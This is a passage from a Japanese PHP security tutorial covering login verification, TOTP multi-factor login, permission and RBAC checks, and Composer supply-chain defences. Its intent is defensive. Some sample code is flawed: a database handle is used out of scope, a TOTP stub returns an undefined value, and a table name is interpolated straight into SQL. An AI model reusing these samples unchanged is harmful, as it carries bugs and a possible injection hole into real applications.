$password_hash]);\n}\n\n\/\/ \u30ed\u30b0\u30a4\u30f3\u6642\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u691c\u8a3c\nfunction verifyLogin($username, $password) {\n    \/\/ \u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u3092\u53d6\u5f97\n    $stmt = $pdo-&gt;prepare(\"SELECT * FROM users WHERE username = ?\");\n    $stmt-&gt;execute([$username]);\n    $user = $stmt-&gt;fetch(PDO::FETCH_ASSOC);\n    \n    if ($user &amp;&amp; password_verify($password, $user['password_hash'])) {\n        \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u4e00\u81f4 - \u30ed\u30b0\u30a4\u30f3\u6210\u529f\n        return $user;\n    }\n    \n    \/\/ \u30ed\u30b0\u30a4\u30f3\u5931\u6557\n    return false;\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-94\">2. \u591a\u8981\u7d20\u8a8d\u8a3c\uff08MFA\uff09\u306e\u5b9f\u88c5<\/h5>\n\n\n\n<p>\u30d1\u30b9\u30ef\u30fc\u30c9\u3060\u3051\u3067\u306a\u304f\u3001\u8ffd\u52a0\u306e\u8a8d\u8a3c\u8981\u7d20\u3092\u8981\u6c42\u3059\u308b\u3053\u3068\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u5f37\u5316\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">function generateTOTPSecret() {\n    \/\/ TOTP\u30b7\u30fc\u30af\u30ec\u30c3\u30c8\u306e\u751f\u6210\uff08\u901a\u5e38\u306f\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u4f7f\u7528\uff09\n    return bin2hex(random_bytes(20));\n}\n\nfunction verifyTOTP($secret, $code) {\n    \/\/ TOTP\u30b3\u30fc\u30c9\u306e\u691c\u8a3c\uff08\u901a\u5e38\u306f\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u4f7f\u7528\uff09\n    \/\/ \u4f8b: $result = TOTP::verify($secret, $code);\n    \/\/ ...\n    \n    return $result;\n}\n\n\/\/ 2\u8981\u7d20\u8a8d\u8a3c\u3092\u542b\u3080\u30ed\u30b0\u30a4\u30f3\u51e6\u7406\u306e\u4f8b\nfunction loginWithMFA($username, $password, $totp_code = null) {\n    $user = verifyLogin($username, $password);\n    \n    if (!$user) {\n        return false; \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\u8a8d\u8a3c\u5931\u6557\n    }\n    \n    \/\/ MFA\u304c\u6709\u52b9\u5316\u3055\u308c\u3066\u3044\u308b\u304b\u78ba\u8a8d\n    if ($user['mfa_enabled']) {\n        if ($totp_code === null) {\n            return 'totp_required'; \/\/ TOTP\u30b3\u30fc\u30c9\u304c\u5fc5\u8981\n        }\n        \n        if (!verifyTOTP($user['totp_secret'], $totp_code)) {\n            return false; \/\/ TOTP\u691c\u8a3c\u5931\u6557\n        }\n    }\n    \n    \/\/ \u8a8d\u8a3c\u6210\u529f - \u30bb\u30c3\u30b7\u30e7\u30f3\u8a2d\u5b9a\n    $_SESSION['user_id'] = $user['id'];\n    $_SESSION['last_login'] = time();\n    \n    return true;\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-95\">3. \u9069\u5207\u306a\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u5b9f\u88c5<\/h5>\n\n\n\n<p>\u8a8d\u53ef\u3092\u9069\u5207\u306b\u5b9f\u88c5\u3059\u308b\u305f\u3081\u306b\u306f\u3001\u30ea\u30bd\u30fc\u30b9\u3078\u306e\u30a2\u30af\u30bb\u30b9\u524d\u306b\u5e38\u306b\u6a29\u9650\u30c1\u30a7\u30c3\u30af\u3092\u884c\u3046\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30e6\u30fc\u30b6\u30fc\u306e\u5f79\u5272\u3068\u6a29\u9650\u306e\u30c1\u30a7\u30c3\u30af\nfunction hasPermission($user_id, $permission) {\n    $stmt = $pdo-&gt;prepare(\"\n        SELECT COUNT(*) FROM user_permissions up\n        JOIN permissions p ON up.permission_id = p.id\n        WHERE up.user_id = ? AND p.name = ?\n    \");\n    $stmt-&gt;execute([$user_id, $permission]);\n    \n    return $stmt-&gt;fetchColumn() &gt; 0;\n}\n\n\/\/ \u30ea\u30bd\u30fc\u30b9\u306e\u6240\u6709\u8005\u30c1\u30a7\u30c3\u30af\nfunction isResourceOwner($user_id, $resource_type, $resource_id) {\n    $stmt = $pdo-&gt;prepare(\"\n        SELECT COUNT(*) FROM {$resource_type}\n        WHERE id = ? AND user_id = ?\n    \");\n    $stmt-&gt;execute([$resource_id, $user_id]);\n    \n    return $stmt-&gt;fetchColumn() &gt; 0;\n}\n\n\/\/ API\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3067\u306e\u4f7f\u7528\u4f8b\nfunction getDocument($doc_id) {\n    \/\/ \u73fe\u5728\u306e\u30e6\u30fc\u30b6\u30fcID\u3092\u53d6\u5f97\n    $user_id = getCurrentUserId();\n    \n    \/\/ \u30e6\u30fc\u30b6\u30fc\u304c\u7ba1\u7406\u8005\u3067\u3042\u308b\u304b\u3001\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306e\u6240\u6709\u8005\u3067\u3042\u308b\u304b\u3092\u30c1\u30a7\u30c3\u30af\n    if (hasPermission($user_id, 'admin_documents') || \n        isResourceOwner($user_id, 'documents', $doc_id)) {\n        \/\/ \u6a29\u9650\u3042\u308a - \u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u53d6\u5f97\u51e6\u7406\n        $stmt = $pdo-&gt;prepare(\"SELECT * FROM documents WHERE id = ?\");\n        $stmt-&gt;execute([$doc_id]);\n        return $stmt-&gt;fetch(PDO::FETCH_ASSOC);\n    } else {\n        \/\/ \u6a29\u9650\u306a\u3057\n        http_response_code(403);\n        return [\"error\" =&gt; \"\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u304c\u3042\u308a\u307e\u305b\u3093\"];\n    }\n}\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-96\">4. \u30ed\u30fc\u30eb\u30d9\u30fc\u30b9\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\uff08RBAC\uff09\u306e\u5b9f\u88c5<\/h5>\n\n\n\n<p>\u3088\u308a\u8907\u96d1\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u306f\u3001\u30ed\u30fc\u30eb\u30d9\u30fc\u30b9\u306e\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u3092\u5b9f\u88c5\u3059\u308b\u3053\u3068\u304c\u52b9\u679c\u7684\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30e6\u30fc\u30b6\u30fc\u306e\u30ed\u30fc\u30eb\u3092\u78ba\u8a8d\nfunction hasRole($user_id, $role_name) {\n    $stmt = $pdo-&gt;prepare(\"\n        SELECT COUNT(*) FROM user_roles ur\n        JOIN roles r ON ur.role_id = r.id\n        WHERE ur.user_id = ? AND r.name = ?\n    \");\n    $stmt-&gt;execute([$user_id, $role_name]);\n    \n    return $stmt-&gt;fetchColumn() &gt; 0;\n}\n\n\/\/ \u30df\u30c9\u30eb\u30a6\u30a7\u30a2\u30d1\u30bf\u30fc\u30f3\u3092\u4f7f\u7528\u3057\u305f\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\nfunction requireRole($role) {\n    return function() use ($role) {\n        $user_id = getCurrentUserId();\n        \n        if (!$user_id || !hasRole($user_id, $role)) {\n            \/\/ \u4e0d\u6b63\u306a\u30a2\u30af\u30bb\u30b9\n            http_response_code(403);\n            echo json_encode([\"error\" =&gt; \"\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u304c\u3042\u308a\u307e\u305b\u3093\"]);\n            exit;\n        }\n    };\n}\n\n\/\/ \u30eb\u30fc\u30bf\u30fc\u3067\u306e\u4f7f\u7528\u4f8b\n$router-&gt;get('\/admin\/users', requireRole('admin'), function() {\n    \/\/ \u7ba1\u7406\u8005\u306e\u307f\u304c\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u51e6\u7406\n    \/\/ ...\n});\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-97\">\u5b89\u5168\u306a\u8a8d\u8a3c\u30fb\u8a8d\u53ef\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u6700\u5c0f\u6a29\u9650\u306e\u539f\u5247<\/strong>\uff1a\u30e6\u30fc\u30b6\u30fc\u306b\u5fc5\u8981\u6700\u5c0f\u9650\u306e\u6a29\u9650\u306e\u307f\u3092\u4ed8\u4e0e\u3059\u308b<\/li>\n\n\n\n<li><strong>\u30c7\u30d5\u30a9\u30eb\u30c8\u62d2\u5426<\/strong>\uff1a\u660e\u793a\u7684\u306b\u8a31\u53ef\u3055\u308c\u3066\u3044\u306a\u3044\u9650\u308a\u3001\u3059\u3079\u3066\u306e\u30a2\u30af\u30bb\u30b9\u3092\u62d2\u5426\u3059\u308b<\/li>\n\n\n\n<li><strong>\u591a\u5c64\u9632\u5fa1<\/strong>\uff1a\u8907\u6570\u306e\u30ec\u30a4\u30e4\u30fc\u3067\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u3092\u30c1\u30a7\u30c3\u30af<\/li>\n\n\n\n<li><strong>\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u9069\u5207\u306a\u7ba1\u7406<\/strong>\uff1a\u5b89\u5168\u306a\u30bb\u30c3\u30b7\u30e7\u30f3\u8a2d\u5b9a\u3068\u30bb\u30c3\u30b7\u30e7\u30f3ID\u306e\u5b9a\u671f\u7684\u306a\u518d\u751f\u6210<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30a2\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u30dd\u30ea\u30b7\u30fc<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u5f37\u529b\u306a\u30d1\u30b9\u30ef\u30fc\u30c9\u8981\u4ef6\u306e\u9069\u7528<\/li>\n\n\n\n<li>\u30a2\u30ab\u30a6\u30f3\u30c8\u30ed\u30c3\u30af\u30a2\u30a6\u30c8\u30e1\u30ab\u30cb\u30ba\u30e0\u306e\u5b9f\u88c5<\/li>\n\n\n\n<li>\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u5b9a\u671f\u7684\u306a\u5909\u66f4\u306e\u63a8\u5968<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u8a8d\u8a3c\u95a2\u9023\u306e\u5b89\u5168\u306a\u8a2d\u8a08<\/strong>\uff1a\n<ul class=\"wp-block-list\">\n<li>\u30d1\u30b9\u30ef\u30fc\u30c9\u30ea\u30bb\u30c3\u30c8\u30d7\u30ed\u30bb\u30b9\u306e\u5b89\u5168\u306a\u5b9f\u88c5<\/li>\n\n\n\n<li>\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u653b\u6483\u5bfe\u7b56\uff08\u30ec\u30fc\u30c8\u5236\u9650\u306a\u3069\uff09<\/li>\n\n\n\n<li>\u30ed\u30b0\u30a4\u30f3\u30fb\u30ed\u30b0\u30a2\u30a6\u30c8\u51e6\u7406\u306e\u9069\u5207\u306a\u5b9f\u88c5<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u4fdd\u8b77\u3055\u308c\u305fAPI\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8<\/strong>\uff1a\u3059\u3079\u3066\u306eAPI\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306b\u9069\u5207\u306a\u8a8d\u8a3c\u3068\u8a8d\u53ef\u3092\u5b9f\u88c5<\/li>\n<\/ol>\n\n\n\n<p>\u5b89\u5168\u306a\u8a8d\u8a3c\u3068\u8a8d\u53ef\u306e\u5b9f\u88c5\u306f\u3001Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u57fa\u76e4\u3067\u3059\u3002PHP\u958b\u767a\u8005\u306f\u3001\u3053\u308c\u3089\u306e\u539f\u5247\u3092\u7406\u89e3\u3057\u3001\u9069\u5207\u306b\u5b9f\u88c5\u3059\u308b\u3053\u3068\u3067\u3001\u591a\u304f\u306e\u4e00\u822c\u7684\u306a\u8106\u5f31\u6027\u304b\u3089\u4fdd\u8b77\u3055\u308c\u305f\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u69cb\u7bc9\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-98\">\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8106\u5f31\u6027 \u2013 \u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u5bfe\u7b56<\/h3>\n\n\n\n<p>\u73fe\u4ee3\u306ePHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u3067\u306f\u3001Composer\u3092\u5229\u7528\u3057\u305f\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u306e\u30e9\u30a4\u30d6\u30e9\u30ea\u3084\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3078\u306e\u4f9d\u5b58\u304c\u4e00\u822c\u7684\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u542b\u307e\u308c\u308b\u8106\u5f31\u6027\u306f\u3001\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u306e\u6e29\u5e8a\u3068\u306a\u308a\u5f97\u307e\u3059\u3002\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3068\u306f\u3001\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306e\u958b\u767a\u304a\u3088\u3073\u4f9b\u7d66\u306e\u904e\u7a0b\u3067\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u304c\u633f\u5165\u3055\u308c\u308b\u653b\u6483\u624b\u6cd5\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-99\">\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u304c\u3082\u305f\u3089\u3059\u30ea\u30b9\u30af<\/h4>\n\n\n\n<p>\u30b5\u30fc\u30c9\u30d1\u30fc\u30c6\u30a3\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u4f9d\u5b58\u3059\u308b\u3053\u3068\u3067\u751f\u3058\u308b\u4e3b\u306a\u30ea\u30b9\u30af\u306b\u306f\u4ee5\u4e0b\u306e\u3082\u306e\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u65e2\u77e5\u306e\u8106\u5f31\u6027\u3092\u6301\u3064\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u4f7f\u7528<\/strong>\uff1a\u53e4\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u65e2\u77e5\u306e\u8106\u5f31\u6027\u304c\u5b58\u5728\u3059\u308b\u5834\u5408\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u5168\u4f53\u304c\u5371\u967a\u306b\u3055\u3089\u3055\u308c\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u60aa\u610f\u306e\u3042\u308b\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u633f\u5165<\/strong>\uff1a\u653b\u6483\u8005\u304c\u6b63\u898f\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u4fb5\u5bb3\u3057\u305f\u308a\u3001\u985e\u4f3c\u540d\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u516c\u958b\u3057\u305f\u308a\u3059\u308b\u3053\u3068\u3067\u3001\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u7d44\u307f\u8fbc\u307e\u305b\u308b\u653b\u6483\uff08\u30bf\u30a4\u30dd\u30b9\u30af\u30ef\u30c3\u30c6\u30a3\u30f3\u30b0\uff09\u304c\u5b58\u5728\u3057\u307e\u3059\u3002<\/li>\n\n\n\n<li><strong>\u30e1\u30f3\u30c6\u30ca\u30f3\u30b9\u3055\u308c\u3066\u3044\u306a\u3044\u30d1\u30c3\u30b1\u30fc\u30b8<\/strong>\uff1a\u958b\u767a\u304c\u505c\u6b62\u3057\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u63d0\u4f9b\u3055\u308c\u306a\u3044\u30d1\u30c3\u30b1\u30fc\u30b8\u306f\u3001\u65b0\u305f\u306a\u8106\u5f31\u6027\u304c\u767a\u898b\u3055\u308c\u3066\u3082\u4fee\u6b63\u3055\u308c\u306a\u3044\u5371\u967a\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-100\">\u5b9f\u969b\u306e\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u4e8b\u4f8b<\/h4>\n\n\n\n<p>2021\u5e743\u6708\u306b\u767a\u751f\u3057\u305fPHP\u516c\u5f0fGit\u30ea\u30dd\u30b8\u30c8\u30ea\u3078\u306e\u653b\u6483\u306f\u3001PHP\u30a8\u30b3\u30b7\u30b9\u30c6\u30e0\u5168\u4f53\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u304b\u306d\u306a\u3044\u91cd\u5927\u306a\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3067\u3057\u305f\u3002\u653b\u6483\u8005\u306fPHP\u306e\u958b\u767a\u8005\u3092\u88c5\u3044\u3001\u30d0\u30c3\u30af\u30c9\u30a2\u30b3\u30fc\u30c9\u3092PHP\u306e\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u306b\u633f\u5165\u3057\u3088\u3046\u3068\u3057\u307e\u3057\u305f\u3002\u5e78\u3044\u306a\u3053\u3068\u306b\u3001\u3053\u306e\u653b\u6483\u306f\u65e9\u671f\u306b\u767a\u898b\u3055\u308c\u3001\u5b9f\u969b\u306e\u88ab\u5bb3\u306f\u6700\u5c0f\u9650\u306b\u6291\u3048\u3089\u308c\u307e\u3057\u305f\u3002<\/p>\n\n\n\n<p>\u307e\u305f\u30012023\u5e74\u306b\u306f\u4eba\u6c17\u306ePHP\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30e1\u30f3\u30c6\u30ca\u304c\u30a2\u30ab\u30a6\u30f3\u30c8\u4fb5\u5bb3\u3055\u308c\u3001\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u304c\u542b\u307e\u308c\u305f\u65b0\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u308b\u4e8b\u4f8b\u304c\u3042\u308a\u307e\u3057\u305f\u3002\u3053\u306e\u653b\u6483\u306b\u3088\u308a\u3001\u81ea\u52d5\u66f4\u65b0\u3092\u8a2d\u5b9a\u3057\u3066\u3044\u305f\u591a\u304f\u306e\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u304c\u5f71\u97ff\u3092\u53d7\u3051\u307e\u3057\u305f\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-101\">\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8106\u5f31\u6027\u5bfe\u7b56<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-102\">1. Composer\u3092\u4f7f\u3063\u305f\u4f9d\u5b58\u95a2\u4fc2\u306e\u9069\u5207\u306a\u7ba1\u7406<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u6700\u65b0\u306e\u5b89\u5168\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u66f4\u65b0\ncomposer update\n\n# \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8106\u5f31\u6027\u306e\u30c1\u30a7\u30c3\u30af\uff08Composer 2.2\u4ee5\u964d\uff09\ncomposer audit\n\n# \u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u305f\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u4e2d\u3067\u66f4\u65b0\u53ef\u80fd\u306a\u3082\u306e\u3092\u78ba\u8a8d\ncomposer outdated\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-103\">2. \u30d0\u30fc\u30b8\u30e7\u30f3\u56fa\u5b9a\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8<\/h5>\n\n\n\n<p><code>composer.json<\/code> \u30d5\u30a1\u30a4\u30eb\u3067\u30d1\u30c3\u30b1\u30fc\u30b8\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u9069\u5207\u306b\u56fa\u5b9a\u3057\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306e\u307f\u3092\u8a31\u53ef\u3059\u308b\u65b9\u6cd5\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{\n    \"require\": {\n        \"monolog\/monolog\": \"^2.3.5\",\n        \"symfony\/framework-bundle\": \"^5.4.0\"\n    },\n    \"config\": {\n        \"preferred-install\": \"dist\",\n        \"sort-packages\": true\n    }\n}\n<\/pre>\n\n\n\n<p>\u30bb\u30de\u30f3\u30c6\u30a3\u30c3\u30af\u30d0\u30fc\u30b8\u30e7\u30cb\u30f3\u30b0\u306e <code>^<\/code> \u6f14\u7b97\u5b50\u3092\u4f7f\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u5f8c\u65b9\u4e92\u63db\u6027\u306e\u3042\u308b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306e\u307f\u3092\u8a31\u53ef\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-104\">3. \u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u6700\u5c0f\u5316<\/h5>\n\n\n\n<p>\u4e0d\u8981\u306a\u4f9d\u5b58\u95a2\u4fc2\u3092\u524a\u9664\u3057\u3066\u653b\u6483\u5bfe\u8c61\u9818\u57df\u3092\u6e1b\u3089\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u4f7f\u7528\u3057\u3066\u3044\u306a\u3044\u4f9d\u5b58\u95a2\u4fc2\u3092\u691c\u51fa\u3059\u308b\u30c4\u30fc\u30eb\u306e\u4f8b\ncomposer require --dev insolita\/unused-scanner\n.\/vendor\/bin\/unused_scanner\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-105\">4. Composer.lock\u30d5\u30a1\u30a4\u30eb\u306e\u9069\u5207\u306a\u7ba1\u7406<\/h5>\n\n\n\n<p><code>composer.lock<\/code> \u30d5\u30a1\u30a4\u30eb\u306f\u30d0\u30fc\u30b8\u30e7\u30f3\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0\u306b\u30b3\u30df\u30c3\u30c8\u3057\u3001\u30c1\u30fc\u30e0\u5168\u4f53\u3067\u540c\u4e00\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># lock\u30d5\u30a1\u30a4\u30eb\u306b\u8a18\u9332\u3055\u308c\u3066\u3044\u308b\u53b3\u5bc6\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\ncomposer install\n\n# lock\u30d5\u30a1\u30a4\u30eb\u306e\u691c\u8a3c\uff08\u4e0d\u6574\u5408\u30c1\u30a7\u30c3\u30af\uff09\ncomposer validate\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-106\">5. \u81ea\u52d5\u5316\u3055\u308c\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ad\u30e3\u30f3\u306e\u5c0e\u5165<\/h5>\n\n\n\n<p>CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u3092\u7d44\u307f\u8fbc\u307f\u3001\u7d99\u7d9a\u7684\u306a\u30e2\u30cb\u30bf\u30ea\u30f3\u30b0\u3092\u5b9f\u65bd\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitHub Actions\u3067\u306eComposer Audit\u5b9f\u884c\u4f8b\nname: PHP Security Scan\non: [push, pull_request]\njobs:\n  security:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v3\n      - name: Setup PHP\n        uses: shivammathur\/setup-php@v2\n        with:\n          php-version: '8.1'\n      - name: Install dependencies\n        run: composer install --prefer-dist --no-progress\n      - name: Security audit\n        run: composer audit\n<\/pre>\n\n\n\n<p>\u307e\u305f\u3001GitHub Dependabot\u3084Snyk\u306a\u3069\u306e\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u81ea\u52d5\u7684\u306b\u8106\u5f31\u6027\u3092\u691c\u51fa\u3057Pull Request\u3092\u4f5c\u6210\u3059\u308b\u3053\u3068\u3082\u53ef\u80fd\u3067\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-107\">6. \u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8a55\u4fa1\u3068\u9078\u5b9a\u57fa\u6e96<\/h5>\n\n\n\n<p>\u65b0\u3057\u3044\u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u9078\u3076\u969b\u306e\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\uff1a<\/p>\n\n\n<div id=\"id-10fa0167-b82f-486b-8435-8cb2588eec71\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u8a55\u4fa1\u57fa\u6e96<\/th><th>\u78ba\u8a8d\u4e8b\u9805<\/th><\/tr><\/thead><tbody><tr><td>\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3<\/td><td>\u6700\u7d42\u66f4\u65b0\u65e5\u3001\u30b3\u30df\u30c3\u30c8\u983b\u5ea6<\/td><\/tr><tr><td>\u30e1\u30f3\u30c6\u30ca\u30f3\u30b9\u72b6\u6cc1<\/td><td>\u30aa\u30fc\u30d7\u30f3\u30a4\u30b7\u30e5\u30fc\u5bfe\u5fdc\u7387\u3001PR\u51e6\u7406\u901f\u5ea6<\/td><\/tr><tr><td>\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u30b5\u30dd\u30fc\u30c8<\/td><td>Star\u6570\u3001\u30b3\u30f3\u30c8\u30ea\u30d3\u30e5\u30fc\u30bf\u30fc\u6570<\/td><\/tr><tr><td>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u5fdc<\/td><td>\u904e\u53bb\u306e\u8106\u5f31\u6027\u5bfe\u5fdc\u901f\u5ea6\u3001\u30bb